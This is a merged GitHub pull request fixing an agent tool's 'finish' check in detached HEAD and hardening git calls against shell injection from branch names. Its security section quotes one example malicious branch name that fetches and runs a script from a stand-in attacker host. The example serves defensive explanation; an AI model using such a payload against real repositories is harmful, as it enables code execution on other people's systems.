fix(finish): use ls-remote SHA comparison so PR-checkout agents can finish in detached HEAD#1215
Merged
zbigniewsobiecki merged 2 commits intodevfrom Apr 27, 2026
Merged
Conversation
…inish in detached HEAD
`hasUnpushedCommits()` was wedging every PR-checkout agent (`respond-to-review`,
`respond-to-pr-comment`, `respond-to-ci`, `review`) when called from the
`cascade-tools session finish` gadget. Workers check out PRs in detached HEAD
via `refs/pull/N/head`, where `git rev-parse --abbrev-ref HEAD` returns the
literal string "HEAD" and `@{upstream}` is unset. The legacy fallback computed
`git rev-list origin/HEAD..HEAD --count` (commits not on the default branch),
which always returns >0 for any feature branch — so finish always rejected
with "Cannot finish session without pushing changes" even when the work was
fully pushed.
Live incident: ucho PR #84 stayed wedged for 22 m on 2026-04-27. The agent
pushed `b10ff8a`, called finish three times, gave up, and emitted text but no
further tool calls. Container stayed alive (lock held); subsequent reviews on
the same PR all hit `Awaiting worker slot: in-memory same-type: 1 enqueued`
until the watchdog backstop killed it at 22 m 44 s.
Fix: thread the PR HEAD branch from `AgentInput.prBranch` into the finish
gadget, then compare local HEAD to the remote tip via `git ls-remote
origin refs/heads/<branch>`. Robust to detached HEAD (never reads the local
branch name).
Plumbing covers both engine paths:
- In-process llmist gadget: `agentInput.prBranch` → `createConfiguredBuilder`
→ `initSessionState` → `SessionState.prBranch` → `validateFinish`.
- CLI subprocess (codex / opencode and the in-container `cascade-tools session
finish`): `agentInput.prBranch` → sidecarManager sets `CASCADE_PR_BRANCH`
env → CLI reads env → `validateFinish`.
Security hardening: `prBranch` flows from `payload.pull_request.head.ref`
(GitHub-controlled). Git's ref-format rules permit `;`, `$`, `&`, `|`, `(`,
`)`, backticks etc., so the branch name MUST NOT be shell-interpolated. Both
the new ls-remote call and the legacy fallback's `origin/<branch>..HEAD`
interpolation now go through `execFileSync` — branch is a single argv element,
no `/bin/sh -c`, no metacharacter expansion.
Operator visibility: added `logger.warn` on both fail-closed paths
(ls-remote failure + rev-parse failure) with the underlying error so future
incidents can distinguish network/auth issues from genuinely unpushed work
without re-grepping logs.
Tests:
- `tests/unit/gadgets/session/core/finish.test.ts`: 8 new cases covering the
ls-remote happy path, mismatch, missing remote branch, fail-closed semantics,
the warn-log assertion, the detached-HEAD-trap negative assertion, and two
command-injection regression pins (one for the new path, one for the legacy
fallback) that assert the branch name lives in its own argv slot and never
in any `execSync` shell-string call.
- `tests/unit/gadgets/session/core/finish-real-git.test.ts` (NEW): real-git
regression net — no mocks. Builds a bare remote + working repo, performs
`git checkout --detach <sha>` to mirror the production `refs/pull/N/head`
shape, and exercises the production code path end-to-end. Includes a
documented assertion that the legacy path (no prBranch) IS still broken
in detached HEAD — pinning the original bug so any future "simplification"
back into the trap fails loudly.
- `tests/unit/gadgets/sessionState.test.ts`: round-trip + clear-on-reinit
coverage for the new `prBranch` field.
Also extracts `checkPushedChangesHook` from `validateFinish` to keep the
function under the project's complexity threshold.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…mport flakes
Three PM manifest tests (jira, linear, trello) do `await import('.../index.js')`
in `beforeAll` — ~2.3s when isolated but well over the default 10s under the
parallel-fork CPU pressure of the full pre-push run. Caused intermittent
red builds across the repo (not just this branch).
Matches the integration project's existing 30s `hookTimeout`. `testTimeout`
left at the 5s default — that limit is for per-test logic, not module-load.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Codecov Report✅ All modified and coverable lines are covered by tests. 📢 Thoughts on this report? Let us know! |
3 tasks
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
hasUnpushedCommits()in the finish gadget was wedging every PR-checkout agent (respond-to-review,respond-to-pr-comment,respond-to-ci,review). Workers check out PRs in detached HEAD viarefs/pull/N/head, wheregit rev-parse --abbrev-ref HEADreturns the literal string"HEAD"and@{upstream}is unset. The legacy fallback then computedgit rev-list origin/HEAD..HEAD --count(commits not on the default branch), which always returns >0 for any feature branch — so finish always rejected with"Cannot finish session without pushing changes"even when the work was fully pushed.Live incident: ucho PR #84 stayed wedged for 22 m on 2026-04-27. The agent pushed
b10ff8a, calledcascade-tools session finishthree times (each rejected), gave up, and emitted text but no further tool calls. Container stayed alive (lock held); subsequent reviews on the same PR all hitAwaiting worker slot: in-memory same-type: 1 enqueued (max 1 per type)until the watchdog backstop killed it at 22 m 44 s. Same trap for every long-running ucho run.Fix
Thread the PR HEAD branch from
AgentInput.prBranchinto the finish gadget, then compare local HEAD to the remote tip viagit ls-remote origin refs/heads/<branch>. Robust to detached HEAD — never reads the local branch name.Plumbing covers both engine paths:
agentInput.prBranch→createConfiguredBuilder→initSessionState→SessionState.prBranch→validateFinish.cascade-tools session finish):agentInput.prBranch→ sidecarManager setsCASCADE_PR_BRANCHenv → CLI reads env →validateFinish.Security hardening
prBranchflows frompayload.pull_request.head.ref(GitHub-controlled). Git's ref-format rules permit;,$,&,|,(,), backticks, etc., so the branch name MUST NOT be shell-interpolated. Both the newgit ls-remote refs/heads/${prBranch}call and the legacy fallback'sgit rev-list origin/${branch}..HEADinterpolation now go throughexecFileSync— branch is a single argv element, no/bin/sh -c, no metacharacter expansion.A repo with a malicious branch name like
evil$(curl attacker.com/x|sh)xwould have executed that payload inside the worker container the moment any agent calledfinish. Worker is in Docker, so blast radius is bounded — but still a real exploit and very cheap to fix.Operator visibility
Added
logger.warnon both fail-closed paths (ls-remote failure + rev-parse HEAD failure) withprBranchand the underlying error so operators triaging a "Cannot finish session without pushing changes" error can distinguish network/auth issues from genuinely unpushed work without re-grepping logs. The original ucho incident took 22 min partly because the agent's error message gave no hint that the underlying cause might be elsewhere.Tests
tests/unit/gadgets/session/core/finish.test.ts— 8 new cases:--abbrev-ref/@{upstream}/origin/HEAD(the detached-HEAD trap).execSyncshell-string call.tests/unit/gadgets/session/core/finish-real-git.test.ts(NEW) — real-git regression net. No mocks. Builds a bare remote + working repo, performsgit checkout --detach <sha>to mirror the productionrefs/pull/N/headshape, and exercises the production code path end-to-end. Includes a documented assertion that the legacy path (noprBranch) IS still broken in detached HEAD — pinning the original bug so any future "simplification" back into the trap fails loudly.tests/unit/gadgets/sessionState.test.ts— round-trip + clear-on-reinit coverage for the newprBranchfield.Also extracts
checkPushedChangesHookfromvalidateFinishto keep the function under the project's complexity threshold.Bonus: vitest hookTimeout fix
Second commit on this branch bumps
hookTimeoutin the unit-test shared config from the 10s default to 30s. Three PM manifest tests (jira, linear, trello) doawait import('.../index.js')inbeforeAll— ~2.3 s when isolated but well over 10 s under the parallel-fork CPU pressure of the full pre-push run. This was an intermittent pre-existing flake hitting any branch, not just this one.testTimeoutleft at the 5 s default — that's per-test logic, not module-load.Test plan
npm test→ 8610 / 8633, 0 new failures).npm run typecheck).npm run lint).respond-to-reviewon a small ucho PR; confirm the agent successfully callscascade-tools session finishonce and the worker container exits within 60 s of the call (not the 22-min watchdog backstop).🤖 Generated with Claude Code